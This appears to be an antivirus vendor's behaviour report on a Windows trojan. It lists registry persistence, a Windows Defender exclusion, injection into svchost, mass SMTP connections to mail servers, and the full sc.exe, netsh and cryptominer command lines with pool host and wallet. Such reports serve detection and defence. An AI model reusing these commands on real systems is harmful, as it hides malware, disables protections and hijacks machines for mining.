Trojan.Siggen15.19714

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\yhqburkp] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\yhqburkp] 'ImagePath' = '<SYSTEM32>\yhqburkp\jhrppfoe.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\yhqburkp] 'ImagePath' = '<SYSTEM32>\yhqburkp\jhrppfoe.exe'

Creates the following services

'yhqburkp' <SYSTEM32>\yhqburkp\jhrppfoe.exe /d"<Full path to file>"
'yhqburkp' <SYSTEM32>\yhqburkp\jhrppfoe.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\yhqburkp' = '00000000'

Executes the following

'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="<SYSTEM32>\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

<SYSTEM32>\svchost.exe

Modifies file system

Creates the following files

%TEMP%\jhrppfoe.exe
<SYSTEM32>\config\systemprofile:.repos

Moves the following files

from %TEMP%\jhrppfoe.exe to <SYSTEM32>\yhqburkp\jhrppfoe.exe

Deletes itself.

Network activity

Connects to

'de###twax.ru':443
'in#####e.bizmeka.com':25
'd1######.#ss.barracudanetworks.com':25
'ma##.##sic-emotion.nl':25
'ct################i.mail.protection.outlook.com.ctp-consulting.com':25
'mx#.##urecia.com':25
'ma##.#aarbeek.nl':25
'ma##.#opycompany.nl':25
'ko#####.univ-paris7.fr':25
'co###########ine-nl.mail.protection.outlook.com':25
'ma##.andmore.nl':25
'ma##.wido.info':25
'mx#.###ay.renater.fr':25
'ma###.bravehost.com':25
'mx.#len.pl':25
'mx##.#aramail.com':25
'mx##.mb5p.com':25
'cu#######-3.in.mailcontrol.com':25
'mx.#oih.com':25
'ko##ct.us':25
'pu######1.mail2world.com':25
'ma###in.box.nl':25
'ma###.#ailinator.com':25
'mx##.cbsolt.net':25
'mx#.qq.com':25
'mx.###zta.onet.pl':25
'pa####x.above.com':25
'r-####6.korea.com':25
'mx##.schlund.de':25
'fm#.#reemail.hu':25
'ma###.##m.1.0001.arsmtp.com':25
'mx####.marsh.com':25
'mx#.#ate.com':25
'ma##.###ercarecorpgroup.com':25
'em##.freenet.de':25
'mx#.##il.ovh.net':25
'mx#######901.gslb.pphosted.com':25
'd6#####.##s.barracudanetworks.com':25
'ma####ion.nerim.net':25
'ma##.ccp.com':25
'aa.####-investment.ru':25
'mx.##teria.pl':25
'ro####-guides.com':25
'mx#.weg.net':25
'mx.#####.#e.cust.b.hostedemail.com':25
'ma##.#imchang.com':25
'mx#.####497.c3s2.iphmx.com':25
'mx#######f02.gslb.pphosted.com':25
'se#####06.citromail.hu':25
'mx#.free.fr':25
'mx#######701.gslb.pphosted.com':25
'mx#######501.gslb.pphosted.com':25
'ma##.##bblicarrello.com':25
'ma##.#nc-filter.com':25
'mx#.####external.iphmx.com':25
'd2#####.#.#ss.uk.barracudanetworks.com':25
'mx##.mail.com':25
'ma##.#dr-summit.com':25
'mx#######b02.gslb.pphosted.com':25
'mx#######801.gslb.pphosted.com':25
'mx##.##il.icloud.com':25
'ma####.#uchananinbox.com':25
'mt##.##0.yahoodns.net':25
'aspmx.l.google.com':25
'mx.###eric-isp.com':25
'mx#.#eznam.cz':25
'mx#.#omcast.net':25
'ma##.#ivendi.net':25
'cu####.cscdns.net':25
'mx.##wered.name':25
'ma##.#egister.it':25
'al######x-vip1.prodigy.net':25
'ed#######.constantcontact.com':25
'fa###ool.xyz':10060
'mx####.##il.gm0.yahoodns.net':25
'd7#####.##s.barracudanetworks.com':25
'cx#.##.#.cloudfilter.net':25
'mx#.##lemach.net':25
'de###twax.ru':480
'mi##########m.mail.protection.outlook.com':25
'ma##.#-email.net':25
'ma##.##ubleupmobile.com':25
'mx#.ovh.net':25
'mx####.carrierzone.com':25
'19######0.pamx1.hotmail.com':25
'19#.#6.146.43':416
'mx.##nmail.nl':25
'mx######91d01.pphosted.com':25
'ed###d.cps.com':25
'mx.#####.#om.cust.b.hostedemail.com':25
'ma####01.komodo.ch':25
'sm###in.sfr.fr':25
'google.com':80
'91.##9.63.95':416
'51.##8.144.223':416
'18#.#53.219.200':416
'19#.#6.146.41':416
'19#.#6.146.42':416
'mx.#########ine.net.cust.b.hostedemail.com':25
'ma####.simatec.com':25
'mx#######201.gslb.pphosted.com':25
'mx#######d02.gslb.pphosted.com':25
'mx.##.#tinternet.com':25
'as##.##ilinblack.com':25
'mx###.mb5p.com':25
're####.#extgen.topsec.com':25
'b1.##ista.fr':25
'mx####.oricom.ca':25
'mx##.mb1p.com':25
'ma##.##ess-herald.com':25
'ex####l.bigpond.com':25
'xn##e.us':25

TCP

HTTP GET requests

http://www.google.com/

Other

'de###twax.ru':443
'pa####x.above.com':25
'ma###.#ailinator.com':25
'ma###in.box.nl':25
'pu######1.mail2world.com':25
'mx.#oih.com':25
'ma##.##ess-herald.com':25
'ko##ct.us':25
'mx.###zta.onet.pl':25
'ma##.wido.info':25
'ma##.andmore.nl':25
'ko#####.univ-paris7.fr':25
'co###########ine-nl.mail.protection.outlook.com':25
'alt2.aspmx.l.google.com':25
'mx####.carrierzone.com':25
'ma##.#aarbeek.nl':25
'ma###.bravehost.com':25
'ma##.##sic-emotion.nl':25
'in#####e.bizmeka.com':25
'mx.##teria.pl':25
'aa.####-investment.ru':25
'ma##.##ubleupmobile.com':25
'mx#.####497.c3s2.iphmx.com':25
'ma##.#imchang.com':25
'ma##.##bblicarrello.com':25
'mx#.weg.net':25
'ma####ion.nerim.net':25
'ma##.###ercarecorpgroup.com':25
'mx#.##il.ovh.net':25
'mx#.qq.com':25
'mx##.cbsolt.net':25
'd2#####.#.#ss.uk.barracudanetworks.com':25
'19######0.pamx1.hotmail.com':25
'ed###d.cps.com':25
'mx#.##lemach.net':25
'fa###ool.xyz':10060
'mx####.##il.gm0.yahoodns.net':25
'ed#######.constantcontact.com':25
'al######x-vip1.prodigy.net':25
'd7#####.##s.barracudanetworks.com':25
'ma##.#-email.net':25
'aspmx.l.google.com':25
'mt##.##0.yahoodns.net':25
'mx#.#eznam.cz':25
'ma####.#uchananinbox.com':25
'mx.###eric-isp.com':25
'cu####.cscdns.net':25
'ma###.##m.1.0001.arsmtp.com':25
'ma##.#opycompany.nl':25
'ma##.#dr-summit.com':25
'b1.##ista.fr':25
're####.#extgen.topsec.com':25
'mx##.mb1p.com':25
'as##.##ilinblack.com':25
'51.##8.144.223':416
'18#.#53.219.200':416
'91.##9.63.95':416
'mx.##.#tinternet.com':25
'mx#.ovh.net':25
'ma####01.komodo.ch':25
'19#.#6.146.42':416
'19#.#6.146.43':416
'19#.#6.146.41':416
'de###twax.ru':480
'mx####.oricom.ca':25
'xn##e.us':25

UDP

DNS ASK de###twax.ru
DNS ASK ii##e.com
DNS ASK alt2.aspmx.l.google.com
DNS ASK co###ompany.nl
DNS ASK ma##.#opycompany.nl
DNS ASK et#.#nistra.fr
DNS ASK la##beek.nl
DNS ASK ma##.#aarbeek.nl
DNS ASK fa###cia.com
DNS ASK mx#.##urecia.com
DNS ASK ce##tel.net
DNS ASK cl#b.fr
DNS ASK ct####nsulting.com
DNS ASK ct################i.mail.protection.outlook.com.ctp-consulting.com
DNS ASK mu####emotion.nl
DNS ASK ma##.##sic-emotion.nl
DNS ASK ba##ns.com
DNS ASK d1######.#ss.barracudanetworks.com
DNS ASK in###bee.com
DNS ASK in#####e.bizmeka.com
DNS ASK se###topol.in
DNS ASK ko##a.com
DNS ASK r-####6.korea.com
DNS ASK se##am.cz
DNS ASK in##ria.pl
DNS ASK mx.##teria.pl
DNS ASK ko#####.univ-paris7.fr
DNS ASK ma###.#ailinator.com
DNS ASK pa####.jussieu.fr
DNS ASK co####usmagazine.nl
DNS ASK ma###in.box.nl
DNS ASK ma###robin.com
DNS ASK pu######1.mail2world.com
DNS ASK sp#.us
DNS ASK mx.#oih.com
DNS ASK cf###ails.com
DNS ASK ko##ct.us
DNS ASK fr##cetv.fr
DNS ASK cu#######-3.in.mailcontrol.com
DNS ASK or##de.fr
DNS ASK mx##.mb5p.com
DNS ASK ca###ail.com
DNS ASK mx##.#aramail.com
DNS ASK o2.pl
DNS ASK mx.#len.pl
DNS ASK op.pl
DNS ASK mx.###zta.onet.pl
DNS ASK te###otrix.com
DNS ASK ma###.bravehost.com
DNS ASK et#.##iv-savoie.fr
DNS ASK di##nus.nl
DNS ASK ma##.wido.info
DNS ASK ac###enoble.fr
DNS ASK an##ore.nl
DNS ASK ma##.andmore.nl
DNS ASK co###########ine-nl.mail.protection.outlook.com
DNS ASK bo#.nl
DNS ASK ma##000.com
DNS ASK ra###france.com
DNS ASK ne##m.net
DNS ASK ma####ion.nerim.net
DNS ASK my###ropcs.com
DNS ASK d6#####.##s.barracudanetworks.com
DNS ASK nc##.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK cp####itions.com
DNS ASK mx#.##il.ovh.net
DNS ASK ou##ook.com
DNS ASK fo###the.com
DNS ASK in#####recorpgroup.com
DNS ASK mx###.mb5p.com
DNS ASK ma##.###ercarecorpgroup.com
DNS ASK em##.freenet.de
DNS ASK na##.com
DNS ASK mx#.#ate.com
DNS ASK gu##arp.com
DNS ASK mx####.marsh.com
DNS ASK ma##i.com
DNS ASK ma###.##m.1.0001.arsmtp.com
DNS ASK fr##mail.hu
DNS ASK fm#.#reemail.hu
DNS ASK bi##ond.com
DNS ASK ex####l.bigpond.com
DNS ASK cc#.com
DNS ASK ma##.ccp.com
DNS ASK gm##.com
DNS ASK aa.####-investment.ru
DNS ASK mx##.schlund.de
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK pu####carrello.com
DNS ASK ma##.##bblicarrello.com
DNS ASK kc#.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK nu###icable.fr
DNS ASK ki###ang.com
DNS ASK ma##.#imchang.com
DNS ASK em##l.com
DNS ASK on##ne.fr
DNS ASK mx#.free.fr
DNS ASK ci###mail.hu
DNS ASK se#####06.citromail.hu
DNS ASK pf##er.com
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK wa##a.com
DNS ASK mx#.####497.c3s2.iphmx.com
DNS ASK ly##s.de
DNS ASK mx.#####.#e.cust.b.hostedemail.com
DNS ASK we#.net
DNS ASK mx#.weg.net
DNS ASK ro####-guides.com
DNS ASK kl###web.com
DNS ASK kn###ilter.com
DNS ASK un##-lr.fr
DNS ASK ma##.#nc-filter.com
DNS ASK ma###nator.com
DNS ASK pr####tionen.net
DNS ASK it###nket.net
DNS ASK mx#.#omcast.net
DNS ASK em##l.cz
DNS ASK mx#.#eznam.cz
DNS ASK va###offer.info
DNS ASK mx.###eric-isp.com
DNS ASK google.com
DNS ASK aspmx.l.google.com
DNS ASK ro###tmail.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK bu####aninbox.com
DNS ASK ma####.#uchananinbox.com
DNS ASK ic##ud.com
DNS ASK mx##.##il.icloud.com
DNS ASK ne###ape.net
DNS ASK sp###rum.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK pp#.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK cd###ummit.com
DNS ASK ma##.#dr-summit.com
DNS ASK ra###chot.com
DNS ASK mx#.ovh.net
DNS ASK ho###ail.com
DNS ASK mx##.mb1p.com
DNS ASK co##ast.net
DNS ASK vi##ndi.com
DNS ASK st###ardlife.ca
DNS ASK ho##ial.com
DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK te###ach.net
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK mx#.##lemach.net
DNS ASK co#.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK tm##ail.net
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK d7#####.##s.barracudanetworks.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK cs.com
DNS ASK fa###ool.xyz
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK co####ntcontact.com
DNS ASK ed#######.constantcontact.com
DNS ASK sb###obal.net
DNS ASK al######x-vip1.prodigy.net
DNS ASK po##ido.biz
DNS ASK ma##.#egister.it
DNS ASK wm###nect.com
DNS ASK da##emi.com
DNS ASK mx.##wered.name
DNS ASK ma##.#-email.net
DNS ASK ma##.#ivendi.net
DNS ASK cu####.cscdns.net
DNS ASK do####upmobile.com
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK ed###d.cps.com
DNS ASK ne###ape.com
DNS ASK be###outh.com
DNS ASK mx######91d01.pphosted.com
DNS ASK kp##ail.nl
DNS ASK mx.##nmail.nl
DNS ASK db##il.com
DNS ASK 19######0.pamx1.hotmail.com
DNS ASK ea###ling.net
DNS ASK mx##.mail.com
DNS ASK ch####mhouse.org
DNS ASK d2#####.#.#ss.uk.barracudanetworks.com
DNS ASK ab##tt.com
DNS ASK sa##.com
DNS ASK mx#.####external.iphmx.com
DNS ASK fo##ail.com
DNS ASK mx#.qq.com
DNS ASK un##tra.fr
DNS ASK mx#.###ay.renater.fr
DNS ASK pr#####osteadycam.it
DNS ASK mx##.cbsolt.net
DNS ASK mi##tel.net
DNS ASK pa####x.above.com
DNS ASK ly##s.com
DNS ASK fe#.org
DNS ASK cp#.com
DNS ASK ma####01.komodo.ch
DNS ASK sm###in.sfr.fr
DNS ASK ma##.##ubleupmobile.com
DNS ASK mx####.carrierzone.com
DNS ASK su####-maine.net
DNS ASK mx.#########ine.net.cust.b.hostedemail.com
DNS ASK pr####herald.com
DNS ASK ma##.##ess-herald.com
DNS ASK qi#.com
DNS ASK mx####.oricom.ca
DNS ASK ep##al.fr
DNS ASK b1.##ista.fr
DNS ASK to##ail.com
DNS ASK re####.#extgen.topsec.com
DNS ASK xy###ail.com
DNS ASK fr##net.de
DNS ASK dr###orx.com
DNS ASK as##.##ilinblack.com
DNS ASK ta##21.com
DNS ASK mx.##.#tinternet.com
DNS ASK du#####lastomers.com
DNS ASK mx#######d02.gslb.pphosted.com
DNS ASK ve##zon.net
DNS ASK wa##art.com
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK si##tec.com
DNS ASK ma####.simatec.com
DNS ASK no#s.fr
DNS ASK su###est.net
DNS ASK od####e-droit.fr
DNS ASK xn##e.us

Miscellaneous

Creates and executes the following

'<SYSTEM32>\yhqburkp\jhrppfoe.exe' /d"<Full path to file>"
'<SYSTEM32>\cmd.exe' /C mkdir <SYSTEM32>\yhqburkp\' (with hidden window)
'<SYSTEM32>\cmd.exe' /C move /Y "%TEMP%\jhrppfoe.exe" <SYSTEM32>\yhqburkp\' (with hidden window)
'<SYSTEM32>\sc.exe' create yhqburkp binPath= "<SYSTEM32>\yhqburkp\jhrppfoe.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'<SYSTEM32>\sc.exe' description yhqburkp "wifi internet conection"' (with hidden window)
'<SYSTEM32>\sc.exe' start yhqburkp' (with hidden window)
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="<SYSTEM32>\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /C mkdir <SYSTEM32>\yhqburkp\
'<SYSTEM32>\cmd.exe' /C move /Y "%TEMP%\jhrppfoe.exe" <SYSTEM32>\yhqburkp\
'<SYSTEM32>\sc.exe' create yhqburkp binPath= "<SYSTEM32>\yhqburkp\jhrppfoe.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'<SYSTEM32>\sc.exe' description yhqburkp "wifi internet conection"
'<SYSTEM32>\sc.exe' start yhqburkp
'<SYSTEM32>\svchost.exe'
'<SYSTEM32>\svchost.exe' -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half

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